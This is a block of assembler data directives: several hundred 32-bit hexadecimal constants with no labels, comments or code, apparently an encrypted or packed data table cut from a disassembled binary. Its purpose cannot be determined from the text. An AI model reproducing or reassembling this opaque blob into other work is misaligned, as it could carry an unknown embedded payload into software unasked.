dd 1EB86562h, 93219AAh, 20CE3181h, 0E2D71038h, 97E3E7A3h
dd 0C896BB61h, 0D411F466h, 0D6090659h, 1E4384Dh, 0D0AF2197h
dd 0E3C28D96h, 0BF031917h, 380D071Bh, 32718F33h, 0EE2D9248h
dd 662F8834h, 0C53C0703h, 0EBEB21A5h, 0C6737FCFh, 0A82DDC72h
dd 0C1797099h, 0E809C7C2h, 21081EEBh, 0CA40941h, 0B3491877h
dd 258983DCh, 5DCF4A8h, 0D5934E77h, 0C29359AAh, 16CA6AF6h
dd 5976BDBFh, 592ACCBCh, 0BC5ADAAh, 0F92DE2C8h, 222B428Ah
dd 25F4564Eh, 0B6FCD2E1h, 4015F6B3h, 47C78A73h, 0DD462BFFh
dd 0AB827B92h, 3FCE208h, 17D6A849h, 44F41B67h, 0B2B72C96h
dd 7B0F0992h, 1F85C743h, 0BA5C4D94h, 302B6204h, 0BB151D11h
dd 80CC1D43h, 0CB016B64h, 1BCB05ADh, 0B5694F90h, 0B369EFD1h
dd 6EAEC25Eh, 184B7857h, 379DEDD8h, 5AA3A520h, 0B15071D8h
dd 0AD5085B2h, 0CFE69ADh, 90C88110h, 6DA42ABh, 3858E562h
dd 7822D82Ah, 2845D1C1h, 0FE130018h, 6542C4F8h, 0EA66CD69h
dd 0D1A1F4FCh, 876D0020h, 0E92D79A4h, 907A3707h, 39FE37h
dd 0A7B78BAh, 22E716F5h, 0DB1497C0h, 399E95h, 0ECEC8F51h
dd 45BC0E58h, 2B2AD086h, 0E69367BEh, 983DD8BAh, 0C94172FDh
dd 0E475D8F0h, 0A5161FE2h, 457DBB1Ah, 0B4C703C6h, 0E6D92194h
dd 103BF796h, 199351CDh, 7F10581Dh, 7636F278h, 350F39B0h
dd 0A9E365A5h, 0F062A455h, 0B05FD55h, 9723133Bh, 514B9B1Ch
dd 4B7ABFEDh, 4B827D8Dh, 0AB2F43B1h, 9D18FF89h, 2A6FF493h
dd 93ACA988h, 64062074h, 4F0F01BAh, 76A0B2B6h, 0B87653E8h
dd 42847F04h, 48B1E827h, 0C459E7DDh, 33EAD908h, 3E20E8C9h
dd 0AF047F3Dh, 37959E15h, 0CB754E11h, 8FACB43Dh, 2D44605Ah
dd 772FB97Dh, 3CF9A49Bh, 2582E8Fh, 33798ABCh, 9ED1EA71h
dd 8AFDDE2Ch, 0CE0A2C1Fh, 7E1D1ABEh, 213A87C2h, 0E1DAC984h
dd 6E75221Bh, 0D64CB930h, 0E250C2E6h, 0DDF2C113h, 0B56B3CADh
dd 0EF3825Bh, 42C185E4h, 61C94ABEh, 7E686816h, 88798EC1h
dd 2809FB39h, 2C322045h, 0BF3F6B98h, 1487B9B1h, 9A87E1A8h
dd 0E85F232Dh, 79DAF6CAh, 6CDC497h, 64034D0Dh, 0E0566543h
dd 2318F36Eh, 0BD70BB9Dh, 9413F949h, 0D6196754h, 83589986h
dd 15FCA222h, 6E6B0FDEh, 0DA3C4496h, 0AAF79DB2h, 15E75A86h
dd 1B40CDAAh, 0D27B3996h, 0FB92FBEDh, 0C4F9396h, 0DDFDB947h
dd 3E14ACD9h, 0A7F46E73h, 0CDC7CA46h, 0F7BA1B78h, 93A64DCAh
dd 7D1B40h, 65CAA31h, 9FD2C24h, 322A8B63h, 64C04A8Bh, 6F5E40A9h
dd 43DC7C9Ch, 0CB8C0FEFh, 25905EC4h, 0B5E9A91Ch, 1155D191h
dd 2FA08C17h, 5366AA3Ah, 322E715h, 8627F0BFh, 2469E78Ah
dd 0F3F3F7A9h, 8835BA0Eh, 9B41F7BEh, 8C80DBE6h, 0E080FACAh
dd 425CD0FAh, 11198E8Bh, 58A4F604h, 76F05618h, 0E62F6CD3h
dd 613ED590h, 915891D3h, 0B821300Ah, 0C5B8BD5Ch, 0F4A53DEFh
dd 25DE78E3h, 4BFCFB57h, 0AEF46DB6h, 920A16E3h, 5D16A731h
dd 0FDE8626Eh, 5560DF76h, 1AE38D83h, 5AC0C791h, 0F5DE9EFAh
dd 0D2914BFDh, 6DCEA005h, 1595EF51h, 289B5F14h, 0FEA6708h
dd 68479771h, 99903F05h, 34ADFDF4h, 19A8FEA1h, 344F1EDAh
dd 252D70F5h, 6FC64208h, 2B862214h, 3829E616h, 2B247B9Eh
dd 0A7CB2BB2h, 0E53E20FCh, 3BA62A94h, 0B6694A13h, 7A101C02h
dd 910C5A13h, 6EBD635Dh, 0EB89C4ADh, 62556680h, 1A6169DDh
dd 0BECDDD19h, 0F7A4E833h, 338B78CFh, 4A0FDE27h, 49D1E17Fh
dd 98ADDE69h, 86864E41h, 0CD454309h, 0B0889E6Ch, 0D36A6E70h
dd 50642833h, 9446E5DDh, 761F758Bh, 36719B77h, 94666AFDh
dd 5D6082ADh, 7A3D194Dh, 77F19DB0h, 8717931Dh, 328E806Eh
dd 0E1A8911Bh, 0D8639B99h, 6C78E648h, 0F214D085h, 4B501C0Bh
dd 1D69B348h, 0BA3BB974h, 973C529Ah, 0F09D881h, 0C1BAE3B8h
dd 0C9ABDB06h, 920CBC07h, 53C97626h, 0A05711B0h, 0C3A8A9C0h
dd 656E39B5h, 0D2323E56h, 89B336F7h, 7779EAFh, 0ECA8476Fh
dd 0F98A30F2h, 971EE281h, 7CD0FA6Bh, 4AA66ECAh, 93A79C21h
dd 3AA0F6D7h, 0BFC80EFAh, 86828212h, 7949221Eh, 70C5496Ah
dd 0EE6C9EA3h, 0A9A96261h, 0DB14BE5Bh, 0D29B096h, 634EB104h
dd 54DDA753h, 7558646Fh, 0B7568B7Eh, 25551E86h, 27B7080Eh
dd 5A539499h, 13F8209Ah, 429D4E12h, 63DD7E5Ch, 0D7345A8Ch
dd 77793AD0h, 0DCB1161h, 813D7BE5h, 0D34B315h, 0C35E34FEh
dd 11F6261Dh, 85C8AB6Ch, 14ADA52Ah, 953E49E9h, 0D8E2AAC8h
dd 609DADD5h, 6A64B369h, 15610E18h, 3B7FDD30h, 6621CE72h
dd 6C878A8Eh, 4D7BE184h, 48381C7Bh, 72D521C4h, 4051CB86h
dd 0B81B4E0Ch, 5DB379ECh, 8E00C163h, 0F8DE1762h, 8C8C4741h
dd 7C55649Ch, 808B58A7h, 87D8F060h, 935B7B26h, 0B96B00Eh
dd 45A13D87h, 0D04216DDh, 75EB6B9Eh, 61F0636Fh, 0F7106B6Dh
dd 596B165Ch, 87F6D801h, 181E29E6h, 1D88ED12h, 73066F69h
dd 0E83A1855h, 3FA01EEh, 6BA117Fh, 0F8BB75E1h, 0A1A831B7h
dd 0C42A130Ch, 6C09C5CCh, 0CC2CB971h, 0D4ED1348h, 91AA6E58h
dd 0A810E64Dh, 8E238748h, 625EE218h, 9F52AD3Bh, 7EFE303Fh
dd 7A220F4h, 90044A25h, 79514EF5h, 0D0065729h, 0A3DED8BFh
dd 5463DCEFh, 6F6C031Ah, 5F5911F9h, 0ED8D9AAh, 17425879h
dd 1E014148h, 86591428h, 721F6D34h, 815BC0F3h, 86DD3515h
dd 0F74EC310h, 0BA96ED22h, 0B486FF1Fh, 5824BFB8h, 38882255h
dd 0F6157823h, 153CC6E5h, 889E5410h, 0F0EFC4CCh, 0FC353831h
dd 1E36DBFh, 0CC1FF78Eh, 565E5B40h, 641073DCh, 71D33B19h
dd 0C5103BD0h, 0EF979CBAh, 0F7531A3Bh, 0D97FA862h, 8F4216BDh
dd 8EF9752Eh, 0FCCD7203h, 5FB78369h, 2950311Ah, 30C13983h
dd 5DCEE950h, 0CC696426h, 6CCEB31Eh, 0A8B0A5B6h, 0BC9C29D6h
dd 0C9DEB6ACh, 454BB975h, 1162017Ch, 0B4E3117Dh, 638F0DA0h
dd 9B2F0002h, 3952E0A2h, 89CD15F9h, 0D1442790h, 0C624DF17h
dd 5A782A41h
dd 52DF1FBh, 21EE4AA4h, 827A5C51h, 0E8BAE7B4h, 1E00925Ah
dd 7067F951h, 0D0272385h, 67E6F606h, 0EE5F24BFh, 0D337F6D9h
dd 7492DEC5h, 2A66D81Ch, 418503CCh, 94581670h, 0F51D11CCh
dd 0C3FD960Ah, 0F2500BEBh, 50FD0FA4h, 6B9EC648h, 0F8F86A23h
dd 8786731Dh, 9F5AB843h, 1B50B38Dh, 57038A55h, 950A010h
dd 0D1B2B2D5h, 5C497DB3h, 140E2300h, 0D61D5C57h, 2AD7BF88h
dd 0D598BD84h, 0BD24395Dh, 602B917Ah, 0E2F3419Eh, 0C2C685DEh
dd 0E2C2356Ch, 0C89DD786h, 0A3D3277Fh, 5410957Fh, 0B5E7D832h
dd 301650D8h, 8995A602h, 655644A1h, 82FCBE9Dh, 8FC944D9h
dd 9C21C678h, 406E1835h, 0E3E39D0h, 0B0DE819Fh, 76F72A6h
dd 8E57684h, 0B384E63Eh, 53931D83h, 0C7B9B663h, 5AB56EBAh
dd 0ECFA802Ah, 0E2914B69h, 64FA0AB1h, 42693FCh, 0BB270049h
dd 8D3FE9F0h, 6948C477h, 872BA630h, 1934822h, 0CAB50AA1h
dd 1D4AEA17h, 41FD5CD2h, 405E005Bh, 0B4239F59h, 0A6DE827Bh
dd 9F32CA32h, 17AFE3D9h, 16693054h, 0CA42FFF2h, 27161D72h
dd 16B71E06h, 5532E72Eh, 0A14B1C83h, 8215199Fh, 530487D5h
dd 3A9096A2h, 7682B229h, 7B0D4645h, 9B8FB3A9h, 0E706AD0Bh
dd 168AFDE8h, 9949B0AEh, 0C7E08F50h, 0E2CDA6FAh, 864578A1h
dd 2C4946B4h, 56ECA053h, 6552B58Ah, 6519BF23h, 52675AD8h
dd 0DA7DC4AAh, 19F0F40h, 0E3A325CEh, 0BDB97AC0h, 589D030Dh
dd 75A9A287h, 5E3F53F0h, 198378B1h, 0AFC8D31h, 32EB6CB5h
dd 0B7CB63Ah, 9D50B556h, 0C7B62D64h, 97E5085Dh, 5A955C81h
dd 51A43DCBh, 0FC4AC3Fh, 7A70BC7Ah, 79FB96BAh, 5B2653EBh
dd 0B16338B6h, 0F437BE5Bh, 0B4A9EE77h, 0A0BF756Ah, 0E2F2DDFDh
dd 323ABDB8h, 6C670B6Fh, 246AF13Ah, 46BA1A58h, 0F8B5C86Ch
dd 46D7489h, 9B2E58FEh, 7D96423Ch, 1370DAA1h, 3DF707D4h
dd 0F0DCA85Eh, 0A73C765Eh, 0BB06884Ch, 10DF8C81h, 0DBDF3341h
dd 0ECF3EB4Dh, 8B2D30A5h, 0DB250873h, 0E6F114B1h, 0DB614F01h
dd 204F9641h, 3D93E963h, 63C56256h, 0A2F7DFD9h, 261C4E1Bh
dd 2CCC2C2Ah, 0A58D4E4Ch, 471E435Ah, 0ED43874Ch, 137B9F02h
dd 9934C4B5h, 439D325h, 0DB33AB5Bh, 0C1AA487Ah, 0AACFB224h
dd 3514236Eh, 607CA7Bh, 0CCE5FF27h, 25693C2Eh, 86F8FA44h
dd 6B4F62F7h, 617A678Fh, 5BC67D00h, 0BFAE4125h, 86995296h
dd 79FB1F8Bh, 0D99DF19Dh, 2B40DDE9h, 0B7369E8Bh, 8BFF42E9h
dd 8CDCB608h, 327DB320h, 738FDBA8h, 8AFE437Fh, 10A7208Bh
dd 40319149h, 29ADC924h, 0F285E4B4h, 0A922AF14h, 4CE0293Fh
dd 981DB78Eh, 37913CE9h, 73AC00CAh, 0ECD28C0Eh, 0D3107AC1h
dd 8B12FB91h, 6479D0CBh, 7469364h, 0B6CC54E7h, 11399062h
dd 31126FECh, 0DA56C5C4h, 0DCF3D341h, 0C68C6B16h, 8F0DE3D5h
dd 8DD94D6Bh, 0CE731CA9h, 0D4032C04h, 9CBDB44h, 6ADB61E9h
dd 0D3192154h, 2A79800Ah, 83AA0E91h, 0EF9B8D19h, 0F923BC0Dh
dd 0D74F1023h, 0EF9CA554h, 8342C1EFh, 0A61CA58h, 4C697D39h
dd 26165B49h, 0CF2C30A5h, 1EACCCh, 0B76F4FA6h, 93E8995Ch
dd 77D13FE0h, 6FB8A6E2h, 21FA3DE0h, 0E8EDAD2Dh, 0ED05239Bh
dd 76F716F4h, 740304BFh, 6D992483h, 164DCDF7h, 35C5826Eh
dd 2578BDCEh, 0A3030678h, 3076870Fh, 0A6F22AC5h, 0F7C9AFE7h
dd 0D4942DD0h, 0E7C72123h, 4F7B1A87h, 684E3258h, 0A5EA3FA7h
dd 864577F4h, 0B3AFABDEh, 0D665C38Eh, 0D0FB9D17h, 36D69DC0h
dd 5881DEDBh, 40CA7CB6h, 89366367h, 0ABBC5D03h, 0D761FFC3h
dd 30D92739h, 490691B6h, 7321C23h, 8EC98EAAh, 643308E8h
dd 720BE902h, 3AEC9943h, 7D3061E4h, 582D7171h, 0FABFEEFh
dd 510AB2CBh, 0EEF06911h, 2042F614h, 777D54DEh, 6F256AD0h
dd 395696A5h, 0AFBF8D61h, 0CFF737C1h, 608FF686h, 0EFDDAB86h
dd 2ABF1C8Dh, 0E6818D7Eh, 0FF892C2Ah, 0A9B49E02h, 0D6C740A1h
dd 8E561690h, 701EA64Fh, 0BAC88704h, 40D9DF28h, 0A9C61617h
dd 7D1F364Ch, 0E9DB24A3h, 9CE502C3h, 4EE4C425h, 2BE3323Ch
dd 0B1F6F532h, 942963CFh, 0DB8E3E2Ah, 9910CBADh, 0A8853882h
dd 5B1349ABh, 7599F437h, 2F86EE65h, 0ACCC81E6h, 53C863FCh
dd 5CC66110h, 357FD1F3h, 0CA09D676h, 0DF142949h, 0D4719898h
dd 0B1A32D1Ch, 0B7CA07BAh, 874AFBC9h, 6CB0E636h, 80F73D35h
dd 8FEFDDFh, 2F9E033Bh, 30071530h, 354A99C0h, 50DD4185h
dd 0E7AD54A6h, 94A5B300h, 5E205BBEh, 4911AA0Ah, 0C645050Fh
dd 8EE767FAh, 6E128B24h, 0B2910C29h, 6B5F8267h, 7A825377h
dd 2A09E4F6h, 242D119Dh, 81D14534h, 0E7DB934Dh, 0A5C23BDBh
dd 5DFBF44Ah, 359977E0h, 0EC09F7D7h, 0DD30ED5Fh, 7A2A0D59h
dd 4CB4D94h, 0CF324B65h, 15B375B6h, 10F3E3ADh, 53C25295h
dd 1C83E11Fh, 0DEF8FADCh, 12482842h, 263B2CFCh, 0EC6664ADh
dd 9BF33F9Ch, 0EDA8B687h, 0AC8FFC5Ah, 0D962B437h, 0FE1CEE79h
dd 0E95919D8h, 6C2A2EE3h, 5E4DD435h, 424C5C39h, 0F1585646h
dd 0D8558373h, 58B4C0A0h, 19EC2012h, 9FFE3306h, 1953735Eh
dd 429CECB0h, 1EBC78D6h, 4254D87Eh, 22CA4D8Bh, 0ED70E46Ch
dd 0AE1E3014h, 84D46CBFh, 0FF7F861Ch, 185168DBh, 72D3D255h
dd 3E3D7388h, 9C662684h, 8CC3227Ch, 6E7D472Ah, 80DE4F5Eh
dd 1FF6E29Dh, 4E2A108h, 0FBD8304Bh, 0A88D7E10h, 0A1527AB6h
dd 0D730157Bh, 49E028A3h, 0B28DAA7Ah, 0D62274EBh, 4C3EF4EBh
dd 636599Ah, 82BEACD1h, 0DE271B67h, 0A3E71913h, 0C5AAF031h
dd 78B397ADh, 55E97A95h, 64C35A65h, 8BE768Eh, 0FAF4B549h
dd 0B8C9FE14h, 23F45C1Dh, 0CD7150BBh, 0FC082D2Ch, 0AE4B4B65h
dd 0DFCA3B58h, 0E977F646h, 2A70656Fh, 0DAC1A513h, 0CC46E856h
dd 7A8EB2E1h, 8A4533Eh, 449D00Eh, 9690B716h, 0A31746EFh
dd 0EA12718Eh, 0A33FDD2Eh, 0DCDEC279h, 79002E29h, 0AB50F8C9h
dd 60980663h, 9044918Eh, 85C90B80h, 15152DE6h, 8D3FA4C1h
dd 0AD52BDD0h, 6055A860h, 1FD56F79h, 0F54A3FBAh, 132433h
dd 0E7B9BABCh, 0A0C37122h, 0FD2F1C02h, 0C4E3E040h, 0E3D721D9h
dd 1A9DA25Ah, 53663B06h, 0D670786Bh, 0A77935DCh, 0A73E6397h
dd 0CD01D1B7h, 7C9E9531h, 8BD32E38h, 8D2BDDBh, 0DAFC6B3Dh
dd 5CE2BBEAh, 8BC03249h, 1AA41D71h, 3EE04Eh, 0FBDA381Eh
dd 1B6938FAh, 51A464FBh, 0D4A066D5h, 66C7FE98h, 0E9A395CAh
dd 0FA8B0E48h, 10020B65h, 31F7FABBh, 8FA8F273h, 54EB38B4h
dd 0A2253530h, 54AF8A07h, 0ADC21B36h, 5194EF9Ah, 0C68C7923h
dd 3A7F5A99h, 2CFC6AABh, 32E31A59h, 2E667854h, 0DFD23BE8h
dd 0EF90B913h, 0E32E250Bh, 7691192Eh, 0A4191DBAh, 26D608DDh
dd 5CB423CFh, 53B1B3A7h, 1BFE65E9h, 3AFF1994h, 3F1A92BEh
dd 0A89C2BC9h, 0B1610BC1h, 0B6578F75h, 1619AD3Ch, 0A6EECA28h
dd 0EBD84109h, 0CAC5C7DDh, 6ABCE3A9h, 0C53F58A1h, 58B4E1A4h
dd 5DEFAA7Dh, 0F4E97B0Ah, 0D73EA027h, 0D49C16BEh, 9434D911h
dd 0B6C343FFh, 2D7AC58Bh, 5DCF6B30h, 3D668B0Fh, 0ACA72C46h
dd 523FAE54h, 867F198h, 5D363870h, 0B7D4FB43h, 0FBF3AAA1h
dd 7356A695h, 8238FE2Bh, 26867C43h, 5F758364h, 0F3ABD4F5h
dd 95B52A98h, 2C6804CCh, 9C6B68B6h, 12D0F936h, 4FA5E02Fh
dd 0A40BDFB0h, 3224C654h, 0CF92E8Ah, 0ECF21CFFh, 7AAF86BDh
dd 67B7E37Bh, 0FA05E926h, 8B1EF4E4h, 0FFAB6EE8h, 7AB0717Dh
dd 0F72AB5E3h, 0C586E770h
dd 1BF3E9F8h, 0DCBC36F0h, 2975F9D4h, 14AFA7B3h, 0F84A4A59h
dd 0C1120375h, 26D1BC84h, 0E9FFF47Dh, 1C4C2703h, 9F9808A6h
dd 7C20C26Ah, 0B2628088h, 0A9B81E55h, 78C600BBh, 598438F4h
dd 0CB23829Ah, 0E2074B7Dh, 14D6C32Ah, 189D5E88h, 3F5F28DFh
dd 64D7244Ch, 8925D4B8h, 2DF9E79Ah, 47B0D636h, 9FBCA75Dh
dd 0AEB143B5h, 45424232h, 41EC7E6h, 0AA6CC148h, 57E8B9CAh
dd 7165734Ah, 0EA5D29CAh, 0F437906Fh, 26F3018Bh, 0BE3D38D4h
dd 0C9DEFF84h, 73BD2FCAh, 1DC3C04Bh, 5A34819Ah, 0D9ACDED9h
dd 0B7D577DAh, 0EDDCC379h, 77BC240Eh, 8230BE72h, 788A633Eh
dd 1F77B3C1h, 6143F300h, 608A024Fh, 29518523h, 0B8BCB234h
dd 2B589D97h, 0B27DE540h, 29F1EB61h, 33E6BE67h, 0A17C1CBAh
dd 0EFBBF50Bh, 72750D39h, 9BAA0BFFh, 0F34AB651h, 863DF891h
dd 9D80111Ch, 81B1B17Bh, 7292F01h, 411C9AC8h, 0A0B762A0h
dd 0F0C92A18h, 89FD0AB6h, 1CE5AC5Bh, 42E41759h, 277F861Dh
dd 8D4ABB2Fh, 2F63F526h, 1C0E2C54h, 3394E3FEh, 276E1DDDh
dd 0D68B0DCAh, 7054F3D5h, 0D44D7257h, 631334ABh, 0B8065210h
dd 0BAC326B0h, 0F41EE22Ah, 0E9D2E43h, 953445CBh, 245B5C5Ch
dd 979A9B63h, 0F0762975h, 0C410D6D6h, 0E620A6EDh, 0F405B870h
dd 5868938Fh, 4827E40Eh, 0DCFCBAC3h, 352C12BEh, 2D5C9437h
dd 6EBE4176h, 3E24D294h, 7CF3ED8Bh, 2A46B980h, 0C2DDAF84h
dd 0EAB9DF39h, 738CAF0Fh, 0B3887ADBh, 0A354D2C2h, 75BC4CC8h
dd 88EE7FECh, 0DBCDB66Dh, 0DA194CD1h, 56376846h, 33F246CEh
dd 37FF9B6Fh, 0DB699A3h, 3069CC23h, 0B26F6644h, 0DB278C96h
dd 0F5A54044h, 0C271B2C8h, 662C5CB9h, 4E3DE052h, 601E6EF9h
dd 0B239058Eh, 17DF7F70h, 0F4B6087h, 33571417h, 3031C75Dh
dd 22BEE110h, 0D16C9B67h, 38851F42h, 0FA452E60h, 87B3A528h
dd 8000E00Ch, 0C4AE875Bh, 5068F95Dh, 0E0E7C2C6h, 732AC104h
dd 0E4AAE102h, 97ED4FD2h, 33ED78B2h, 27679DEEh, 5F114904h
dd 0FD42DF59h, 6FC96857h, 3C1EE6B0h, 888922E3h, 0B2965451h
dd 0ED33152Ch, 9CF6BA1Fh, 0F68F81CBh, 0C0DB521Bh, 3AD25680h
dd 1024C3FDh, 0E65F8B65h, 0B9DC2F35h, 0CE553591h, 8CEABD14h
dd 9C406FCCh, 5654136Ch, 4F6EAA8h, 0F97BE416h, 0B1BA715Ah
dd 0A93E9BDh, 0A164E98Fh, 6C70AFCh, 0FD0D500Dh, 0F433AAD1h
dd 624B52E5h, 0A01062EFh, 5A78D26Ch, 0EAD68E34h, 11D9A36h
dd 7D76A85h, 75011A5Ch, 83F77C85h, 9ED05327h, 74A55057h
dd 64782AF1h, 479A223h, 8693EA1h, 28264496h, 0EB5C587Dh
dd 6BE1E103h, 53461551h, 0E99E75DAh, 0B3A948ECh, 24D212B5h
dd 0E9A26243h, 0D320602h, 7161069h, 780D757Ah, 0E651316Bh
dd 571D3B1Ah, 12850A0Eh, 2F75EF6h, 3DE956F8h, 28D8A232h
dd 57D94B4Fh, 3ED058DCh, 2088455Ch, 0F0F1D50Ch, 0FFCBE955h
dd 2FB43A6h, 86E7F68Eh, 76CB1409h, 2FBF8D09h, 0C3BA000Fh
dd 5144943Bh, 0AAD623C8h, 2C28CEA2h, 1A62418Ah, 0FF0630B3h
dd 33817353h, 5259349Dh, 205A2392h, 801E7382h, 1D1406B1h
dd 0D020BF35h, 0C324E3C5h, 0D293B973h, 0DD6CB064h, 2A28E2A3h
dd 16BFB995h, 0C5D5F930h, 0B64BD58Ah, 2222DAC9h, 5213F999h
dd 603644CBh, 0FCCBAF69h, 0DED67AB5h, 0F91B1780h, 0DFAFA981h
dd 9EC46803h, 116056E8h, 10D608FBh, 108E5DC1h, 0EAE8ABF5h
dd 90135496h, 927B87h, 0BDF8C1F9h, 0BC4781C7h, 0B50FC023h
dd 0F8B7B617h, 6F621F3Ch, 0B222701h, 9BE3E61Eh, 1277E75Dh
dd 4362D26h, 63BBAF5Ch, 0D3323EEBh, 8703F1B1h, 94F1CEA0h
dd 75D4125Ah, 55DD3624h, 0C204921Eh, 31F17767h, 0CA5D4BEAh
dd 7451B247h, 6C7A4AD8h, 5E71AB77h, 6DF8044Eh, 7264DCEAh
dd 0EBEBE559h, 2D75A19Fh, 4BB70D26h, 0BE149197h, 234AE4A4h
dd 4704CEDBh, 0A43F3CC2h, 82B5A8CFh, 376AB3F2h, 0C347711Ch
dd 77BCF627h, 0E86FA39h, 82B18A77h, 8396C920h, 0D3869F4Ch
dd 0A494C974h, 1B378D1h, 0C1501982h, 741B1745h, 0C061E9D5h
dd 71D423Bh, 0A11EB6D3h, 0B51884C1h, 5C3CAEBDh, 0B5C5661Bh
dd 55C5B93Fh, 0B643F50Dh, 0A696359Fh, 0F25BF1D3h, 8D9E10ADh
dd 8674246Eh, 571A23FCh, 7DA82B85h, 88D0F369h, 7FB8B564h
dd 0F1EC329Ch, 0E05D654Bh, 3907CEA5h, 947C48A9h, 0F6040044h
dd 20EB98BAh, 106FB32Ah, 0B0312767h, 86EFED52h, 0C0127BC3h
dd 0D80E3B8Eh, 0D72E5F5Fh, 0DA7C72A5h, 0BA738856h, 62763DADh
dd 0B94E63DAh, 1CDDDA59h, 0C796A9ADh, 0F7DA8AF7h, 6026DEC0h
dd 0E98D132Fh, 0F7D513B6h, 0A6342B66h, 0D6992E95h, 0A29585Ch
dd 951B011Eh, 0FC07466Eh, 2B7372B2h, 7BE873Fh, 0F5295AEh
dd 0BD1031DEh, 3AAED697h, 0EAFF855Ah, 3348CF58h, 828203CEh
dd 8A2C837Fh, 0DCB138D5h, 1ADE6289h, 88C741C4h, 0BEA7522Bh
dd 7FE60B38h, 0C7CADB88h, 1A0DC40Ah, 168A6CF9h, 0AB8734EAh
dd 9B1DC321h, 59CCF92Eh, 39404499h, 953B7D4Ch, 1ED2A7B8h
dd 469718DCh, 599F673Ah, 0CDA07C5Bh, 488E7308h, 0CAA7C4ADh
dd 0A1065001h, 2B1E14E7h, 182FE9D9h, 4B7B9444h, 6700432Dh
dd 0D078FA5Bh, 39860150h, 0DF651CF3h, 21419ABh, 988D0EA4h
dd 0A4C6F09Eh, 400C5FB1h, 40CE5E2h, 6D48F3DAh, 8E3BF3CDh
dd 0D9CB4658h, 6F649C3Eh, 9ADBEF6Eh, 29C63F55h, 0DBC3ECFDh
dd 0D6062327h, 0D643277Dh, 0D55419FAh, 0FAB891BDh, 3C2B3C3h
dd 0B2521B2Fh, 359B520Bh, 0FD09B451h, 68D7CA10h, 0BE7B0EC3h
dd 0D6974349h, 0CFF8FF63h, 0F345579Eh, 0D69F4882h, 0B3FAB02Bh
dd 459CF890h, 598BC3FEh, 31011D6Ch, 170968B1h, 0D256B155h
dd 4714D221h, 8361CDFEh, 5379CFFDh, 0B3BFA802h, 8B00CEFBh
dd 0EE94A441h, 9E1A1AF6h, 1CDECBA9h, 51659786h, 1C8D7A10h
dd 0DCD86708h, 8DBAA453h, 3452058h, 0A433C642h, 264954E5h
dd 64D90DFCh, 0B5940743h, 0C35F91DDh, 0FF5EAD26h, 0BDFDD1A1h
dd 0AE7A0429h, 80420BA6h, 0AC9D8766h, 3A7C813Fh, 51101E7Eh
dd 5228B525h, 0A5C07172h, 0EA6E2121h, 9D4CB721h, 9AF79354h
dd 0FC080B99h, 0C1D9EA93h, 411F6640h, 645A4846h, 0F053D5B9h
dd 305DA856h, 0DC7AC8E6h, 0DAC0A213h, 0F1F92C26h, 1594FC11h
dd 0CABD543Fh, 9847F91Dh, 0C2F245CDh, 0F9E20994h, 0B01B21C9h
dd 0CC8E583h, 99255C77h, 0AAD81BBDh, 0D6452FE4h, 9B697691h
dd 0D113C2FCh, 0C39C2302h, 0A5C2B389h, 910D1242h, 6BC178C3h
dd 0C971BFA3h, 658DBF81h, 6A0F40Eh, 8CD23CC7h, 998B4D82h
dd 4777802Fh, 344B1414h, 68F80EFCh, 0AC6A2DC9h, 96CF2D9Ah
dd 0F4D54618h, 0BE1E0144h, 96E6D79Bh, 914677B4h, 0EB182F88h
dd 54C84D75h, 0DD224EC0h, 0ADBC2EFh, 805D8BA0h, 8516F61Eh
dd 75415281h, 6EE916CEh, 6D79488Eh, 2105D5CDh, 28B88F6Eh
dd 0EE6A126Ah, 8976F0F5h, 1AAAF5B3h, 99229AD8h, 0F4424423h
dd 0BC852F43h, 4C6E0D7Bh, 0DFD6D8BCh, 4D081CF7h, 25956C67h
dd 0C089B793h, 2E5E12DCh, 0FE22D836h, 125B900Ch, 0F331A265h
dd 9393E9EAh, 913FFEF6h, 43A97F13h, 135E356Ch, 0B007C95Dh
dd 0D092BC8Ch, 5CCC03C7h, 907AA227h, 422CFDDEh, 763BD637h
dd 0C1A71A25h, 0A71D9AD3h, 0D0867CC4h, 0E7E74FEEh, 1E32DD9Dh
dd 20DBD8F5h, 0CBD36F56h, 3A494ECDh, 0E548B214h, 33938780h
dd 15296856h, 6095DC9Eh, 0AE0CBA8Dh, 139C45CFh, 4C831873h
dd 39403622h, 0C1A0AA3Ch
dd 0F5BA83E0h, 4ECF2446h, 0DCE74123h, 0BAEFA66Ch, 1E47A6E5h
dd 69A689C3h, 0F89FDA9h, 73C6AB2Ah, 70699EA1h, 0AA225C49h
dd 1949604Eh, 85522335h, 78006A8h, 64D7A419h, 551B55E0h
dd 7705AA3Dh, 7A0DAE43h, 8181D45Ch, 0C88DCA52h, 0ADBB102Eh
dd 702D3592h, 0A8BC0AABh, 0FF0F7891h, 0CA8A7DA2h, 795BC113h
dd 1594C165h, 0BFC5C6BEh, 0E6289FC0h, 0CD05CCFAh, 99CA53D7h
dd 75FC88CBh, 12570BD8h, 5545130Ch, 0E2F0192Bh, 0F2396F31h
dd 987F7E71h, 85844EB2h, 6A706BCh, 0C1344552h, 62D7C80Fh
dd 0D349151Fh, 0F8038F06h, 32F2B02Ah, 0CBE9FFD6h, 5FEDD13h
dd 56D38A15h, 76237E3Fh, 389ADFCh, 0B7EE50CAh, 3CFB0278h
dd 80F254E2h, 9D0D0F59h, 5306E109h, 8FEE2970h, 4BB77A3Ch
dd 930AC64h, 558E25BAh, 2D72711Bh, 0E7305375h, 491F2475h
dd 0EAA0BF76h, 36644CEBh, 0BEDD5366h, 5BABA6C0h, 975C402Ch
dd 491DA5DCh, 0AC25B5D6h, 0F1E3F86Fh, 0A8ED9836h, 0ACCB658Fh
dd 5EE52D5Dh, 279D5E73h, 0B5C7EDA2h, 0D7AB617Ah, 0A9CD16EEh
dd 0F588318Eh, 8DA315FBh, 0DDF3EB4Bh, 0E3D0D3E0h, 0CE3AB64Bh
dd 9980861Ah, 7C51483Ah, 0CF7F797Dh, 7C770489h, 382FB821h
dd 253344A0h, 0BF89F093h, 0C23178ABh, 1207929Ah, 46EF69BFh
dd 0FEF74BAh, 6C755E22h, 33E6C3D2h, 0F089FFA3h, 0F8D79302h
dd 2EE86F5Dh, 7A2C9F2Ah, 0E5BE6EBDh, 0A8CA6C09h, 198FD0CBh
dd 8A03381Ch, 9D6EAF19h, 0EA7E06A3h, 4C098306h, 0AF5A4DFDh
dd 108C4FFFh, 28F398E9h, 0A4527AC7h, 0DD06E3AFh, 7C138360h
dd 9C05E67Ah, 39A8EA29h, 14B7DB52h, 0C4F2042Fh, 0D8B3DC0Dh
dd 6CC211CDh, 9F9B1FCAh, 9941AC34h, 0A1F5BEBAh, 2C385E23h
